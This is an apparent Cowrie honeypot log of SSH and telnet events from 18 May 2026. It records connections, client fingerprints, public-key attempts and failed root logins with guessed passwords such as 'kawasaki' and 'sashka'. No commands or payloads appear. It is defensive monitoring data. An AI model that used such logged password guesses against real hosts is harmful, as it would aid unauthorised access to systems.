{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:16:54.797700Z","src_ip":"103.122.221.179","session":"d9086f8e2f2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kawasaki","message":"login attempt [root/kawasaki] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:16:55.600855Z","src_ip":"103.122.221.179","session":"d9086f8e2f2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":49610,"dst_ip":"159.203.135.109","dst_port":22,"session":"9336dec66a09","protocol":"ssh","message":"New connection: 103.82.132.16:49610 (159.203.135.109:22) [session: 9336dec66a09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:16:56.845186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:16:56.849339Z","src_ip":"103.82.132.16","session":"9336dec66a09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:16:56.870796Z","src_ip":"103.122.221.179","session":"d9086f8e2f2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:16:57.116279Z","src_ip":"103.82.132.16","session":"9336dec66a09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sashka","message":"login attempt [root/sashka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:16:57.917266Z","src_ip":"103.82.132.16","session":"9336dec66a09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:16:59.187142Z","src_ip":"103.82.132.16","session":"9336dec66a09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":71.09044218063354,"message":"Connection lost after 71 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:17:20.124577Z","src_ip":"152.42.224.71","session":"87e3cfefea1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.77423334121704,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:17:24.157946Z","src_ip":"152.42.224.71","session":"05a57dd408b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"163.223.54.21","src_port":56788,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ec354c59c16","protocol":"ssh","message":"New connection: 163.223.54.21:56788 (10.17.0.5:22) [session: 9ec354c59c16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:17:37.665779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:17:37.669553Z","src_ip":"163.223.54.21","session":"9ec354c59c16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:17:37.880646Z","src_ip":"163.223.54.21","session":"9ec354c59c16","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d5:14:8c:22:45:12:7f:b6:06:e1:fb:6b:cd:6a:f8:3f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAMYiWi8GcKJ9FRgtkTE0ZPcT8hQcpzNJbVbD0v7rTs2/G789bdcxpTpNsWo21+bUKQrKW1zWuLDY5Mr2s/7qe17MfZCzRMNV3v0R4MXI+lgRtr0lcAImMjQ9J8/uHUgTQpGZx2R/HkJNLK1OLUBvlCVU3F/HcUfpZcDLqi423foPZmhAt0WDzYkGb68xQ4GS/F6VQtMeJrySzCBSvUpu4Bz+nXWIrAeSJeoEi1p20k757a1jwWIzEkXWFDVvXOf90IDzGvnavjUiCphRMkJk9QqBWBB+ZwFARy79UCMi8vs6SLYCHEH5EIve+dCxyddkxcWQBdNwP8Na6yHVGbTMN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d5:14:8c:22:45:12:7f:b6:06:e1:fb:6b:cd:6a:f8:3f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:17:38.916003Z","src_ip":"163.223.54.21","session":"9ec354c59c16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d5:14:8c:22:45:12:7f:b6:06:e1:fb:6b:cd:6a:f8:3f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAMYiWi8GcKJ9FRgtkTE0ZPcT8hQcpzNJbVbD0v7rTs2/G789bdcxpTpNsWo21+bUKQrKW1zWuLDY5Mr2s/7qe17MfZCzRMNV3v0R4MXI+lgRtr0lcAImMjQ9J8/uHUgTQpGZx2R/HkJNLK1OLUBvlCVU3F/HcUfpZcDLqi423foPZmhAt0WDzYkGb68xQ4GS/F6VQtMeJrySzCBSvUpu4Bz+nXWIrAeSJeoEi1p20k757a1jwWIzEkXWFDVvXOf90IDzGvnavjUiCphRMkJk9QqBWBB+ZwFARy79UCMi8vs6SLYCHEH5EIve+dCxyddkxcWQBdNwP8Na6yHVGbTMN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:17:38.919326Z","src_ip":"163.223.54.21","session":"9ec354c59c16","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"76:67:7e:45:23:99:47:90:0f:71:ef:b8:4a:24:7b:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwalLdZtxxNyw0FvLpxJkMvt57ibRWBPKAlD8zhXARIjaQ33bxVF7yLq4lrXJMrBllY9DwVEGYiJFvrg2XNbi2+yqoltyNp9FIGQpQlw6KURUiQDpZISOShwZf9tZ63M8H0bvCShWDiMk9mRWN6l/oYlFM/id8MGUfRV4zl27cpdTKbinKpPXkXm5uz0SsU1HjbpG6gkdlZvaYamESaF63FSMimWWWkx8yTSBb7OJa/f8YzAl+BcvblcJNO8dQkY7rmn/Z12KURl8t7rzi09RL3eux7SkCb557bU+I7reBNxQd6Lz1bBO4xs15iY1ToF54AQT0H7FIk7c1eNGmky7ow==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 76:67:7e:45:23:99:47:90:0f:71:ef:b8:4a:24:7b:c0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:17:39.131785Z","src_ip":"163.223.54.21","session":"9ec354c59c16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"76:67:7e:45:23:99:47:90:0f:71:ef:b8:4a:24:7b:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwalLdZtxxNyw0FvLpxJkMvt57ibRWBPKAlD8zhXARIjaQ33bxVF7yLq4lrXJMrBllY9DwVEGYiJFvrg2XNbi2+yqoltyNp9FIGQpQlw6KURUiQDpZISOShwZf9tZ63M8H0bvCShWDiMk9mRWN6l/oYlFM/id8MGUfRV4zl27cpdTKbinKpPXkXm5uz0SsU1HjbpG6gkdlZvaYamESaF63FSMimWWWkx8yTSBb7OJa/f8YzAl+BcvblcJNO8dQkY7rmn/Z12KURl8t7rzi09RL3eux7SkCb557bU+I7reBNxQd6Lz1bBO4xs15iY1ToF54AQT0H7FIk7c1eNGmky7ow==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:17:39.136043Z","src_ip":"163.223.54.21","session":"9ec354c59c16","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b0:99:0b:0d:a9:eb:4f:2d:fa:47:81:5f:99:86:eb:3e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4C8oLrA9c6oG2+SjxdVT2qrXlSV3knV3Sb2udpPWSIJ/a94/S1w8nI6Gid/hbDlZJiPLsdamsWdeqLYJepGurhIgC+LXegqsOOv4mdZSYQQ48/xz5Pkyb3MR1mrSldZSNlt2KGZlac+AwQHV23XyQ4SA+6tJ36Q8iOqaAE/+xtyVINHMGQcYT4RXSG8PbkfrEci3apdAv/z4OkqZuXsrFjhE4F2BsDXgvMUZq+OwpCiBDTpAj/iO6ddNp7p3YvykEb59s8BUkr0OEqseAqNS9FRD6UJY7KdDTv2yvdSS2actqJAIajzDR6uNsiWnsKunHBOCpswHXJT671XeglpMP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b0:99:0b:0d:a9:eb:4f:2d:fa:47:81:5f:99:86:eb:3e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:17:39.348317Z","src_ip":"163.223.54.21","session":"9ec354c59c16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b0:99:0b:0d:a9:eb:4f:2d:fa:47:81:5f:99:86:eb:3e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4C8oLrA9c6oG2+SjxdVT2qrXlSV3knV3Sb2udpPWSIJ/a94/S1w8nI6Gid/hbDlZJiPLsdamsWdeqLYJepGurhIgC+LXegqsOOv4mdZSYQQ48/xz5Pkyb3MR1mrSldZSNlt2KGZlac+AwQHV23XyQ4SA+6tJ36Q8iOqaAE/+xtyVINHMGQcYT4RXSG8PbkfrEci3apdAv/z4OkqZuXsrFjhE4F2BsDXgvMUZq+OwpCiBDTpAj/iO6ddNp7p3YvykEb59s8BUkr0OEqseAqNS9FRD6UJY7KdDTv2yvdSS2actqJAIajzDR6uNsiWnsKunHBOCpswHXJT671XeglpMP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:17:39.351343Z","src_ip":"163.223.54.21","session":"9ec354c59c16","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e7:b0:15:94:d2:dc:be:b9:00:dd:68:47:f8:59:5c:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDa3IRmiq1Cqsyev/wmA7vvpJbnqzJ9XQFEr8qKOBt5DQkw6wp4t7UDruu7aS4P/T1nt81VpXNLFs9sO6VNZeezktL4LjaM27iAxN0Lg5IxMjIKhWVjHpju0Rwdk8tetIwPOIx3h3bN4MQVaVDb1Dap0ixPXFuRGTjV9MzQC+7GFpbjWIKymrdHB2LpCc0/CXWnN6u7MYQUWmCTpC3QnWlkYg3dx51g3wpiwq0uRlhuQMtXbSJa9+4FrYmA6eV4M0QnG4HupgBt8w2LdnmdEEYXPxzXFlIVbeaUvo0mIo4BQAgrLDZDfrwe8ifyesZH9DhFJUkCH32QXuK87yt4tth/5ZYlHmOgwwGNZVV+nYTJ0RY4qX4rJQEFwjbOFNNwEom8jBoYtxUdrngTpJlkpLdIy0Yg9m7HbILKj3UsIsS7ajco7JoSZJpWnA80jf2FRL+5E/l6fbljSIvAxGIoiirtvXaL/Tdu63YfX0Q4Im+T2Fz55BoZ3lH2b0nEfVzzsEMI5fdYYZGWSdLtywHC+aBV2uK9AIQoQbLAJjz7xMRW+WKtv5uIdE1xHRfZBM4nVN+Ucvz3roBxjtI6LKH2HoULq3op2nBsN7n37mifcFXCTknCOw4joAdaptLq8BPooyTPaVg66yWryt+EJPxgxs1+8Yodz2+XQX61GSQkVbL+4Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e7:b0:15:94:d2:dc:be:b9:00:dd:68:47:f8:59:5c:46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:17:39.564926Z","src_ip":"163.223.54.21","session":"9ec354c59c16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e7:b0:15:94:d2:dc:be:b9:00:dd:68:47:f8:59:5c:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDa3IRmiq1Cqsyev/wmA7vvpJbnqzJ9XQFEr8qKOBt5DQkw6wp4t7UDruu7aS4P/T1nt81VpXNLFs9sO6VNZeezktL4LjaM27iAxN0Lg5IxMjIKhWVjHpju0Rwdk8tetIwPOIx3h3bN4MQVaVDb1Dap0ixPXFuRGTjV9MzQC+7GFpbjWIKymrdHB2LpCc0/CXWnN6u7MYQUWmCTpC3QnWlkYg3dx51g3wpiwq0uRlhuQMtXbSJa9+4FrYmA6eV4M0QnG4HupgBt8w2LdnmdEEYXPxzXFlIVbeaUvo0mIo4BQAgrLDZDfrwe8ifyesZH9DhFJUkCH32QXuK87yt4tth/5ZYlHmOgwwGNZVV+nYTJ0RY4qX4rJQEFwjbOFNNwEom8jBoYtxUdrngTpJlkpLdIy0Yg9m7HbILKj3UsIsS7ajco7JoSZJpWnA80jf2FRL+5E/l6fbljSIvAxGIoiirtvXaL/Tdu63YfX0Q4Im+T2Fz55BoZ3lH2b0nEfVzzsEMI5fdYYZGWSdLtywHC+aBV2uK9AIQoQbLAJjz7xMRW+WKtv5uIdE1xHRfZBM4nVN+Ucvz3roBxjtI6LKH2HoULq3op2nBsN7n37mifcFXCTknCOw4joAdaptLq8BPooyTPaVg66yWryt+EJPxgxs1+8Yodz2+XQX61GSQkVbL+4Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:17:39.568334Z","src_ip":"163.223.54.21","session":"9ec354c59c16","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e6:46:ac:7c:8e:47:cb:64:eb:0f:77:43:01:d4:a4:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCfEpwEV9Jj4nJPdaefhQZ50MhsMahx6G3N6v9ot7XGRWu/Oo09v/F/axvkrQQwFEMhYPxW4WyzTK1gturiPBp5Kfurj+VUWOlt9wC4wOkOc4aUdui+IOmQCRy3BBx3++/9wYLIC0SxOZyW+QmoYodDcuUrW9PVa8MhFZL3KPG2teGFxicEWdoPnCkDFr1TMRQ3V+IV8tvdUod6jufVNuWjRqWM2CBNWgMGv4oKXWtJJmtVuwmAprZJozNc8xHvy5aWeY9tOkL7wafZQ2CTKeuSc3mva1I5zqGfIiDVB5Gbtn0d4+7A/dIPkT+jWnQSZjKYyycPkTGE4ndsK7S5yFdt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e6:46:ac:7c:8e:47:cb:64:eb:0f:77:43:01:d4:a4:c4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:17:39.781289Z","src_ip":"163.223.54.21","session":"9ec354c59c16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e6:46:ac:7c:8e:47:cb:64:eb:0f:77:43:01:d4:a4:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCfEpwEV9Jj4nJPdaefhQZ50MhsMahx6G3N6v9ot7XGRWu/Oo09v/F/axvkrQQwFEMhYPxW4WyzTK1gturiPBp5Kfurj+VUWOlt9wC4wOkOc4aUdui+IOmQCRy3BBx3++/9wYLIC0SxOZyW+QmoYodDcuUrW9PVa8MhFZL3KPG2teGFxicEWdoPnCkDFr1TMRQ3V+IV8tvdUod6jufVNuWjRqWM2CBNWgMGv4oKXWtJJmtVuwmAprZJozNc8xHvy5aWeY9tOkL7wafZQ2CTKeuSc3mva1I5zqGfIiDVB5Gbtn0d4+7A/dIPkT+jWnQSZjKYyycPkTGE4ndsK7S5yFdt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:17:39.785651Z","src_ip":"163.223.54.21","session":"9ec354c59c16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:17:39.998878Z","src_ip":"163.223.54.21","session":"9ec354c59c16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45560,"dst_ip":"10.17.0.5","dst_port":23,"session":"7baa9cc19ebb","protocol":"telnet","message":"New connection: 152.42.224.71:45560 (10.17.0.5:23) [session: 7baa9cc19ebb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:17:53.008347Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51324,"dst_ip":"10.17.0.5","dst_port":23,"session":"da9672cae513","protocol":"telnet","message":"New connection: 152.42.224.71:51324 (10.17.0.5:23) [session: da9672cae513]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:18:00.055649Z"}
{"eventid":"cowrie.session.closed","duration":18.783669233322144,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:18:11.791899Z","src_ip":"152.42.224.71","session":"7baa9cc19ebb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":27.259252786636353,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:18:27.314701Z","src_ip":"152.42.224.71","session":"da9672cae513","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":36018,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a6dc969e990","protocol":"ssh","message":"New connection: 147.45.211.215:36018 (10.17.0.5:22) [session: 2a6dc969e990]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:18:29.624308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:18:29.638551Z","src_ip":"147.45.211.215","session":"2a6dc969e990","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:18:29.810260Z","src_ip":"147.45.211.215","session":"2a6dc969e990","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ssssss","message":"login attempt [root/ssssss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:18:30.738242Z","src_ip":"147.45.211.215","session":"2a6dc969e990","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:18:31.923342Z","src_ip":"147.45.211.215","session":"2a6dc969e990","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.154.79.4","src_port":56140,"dst_ip":"159.203.135.109","dst_port":23,"session":"4486dd5ff682","protocol":"telnet","message":"New connection: 142.154.79.4:56140 (159.203.135.109:23) [session: 4486dd5ff682]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:19:08.813656Z"}
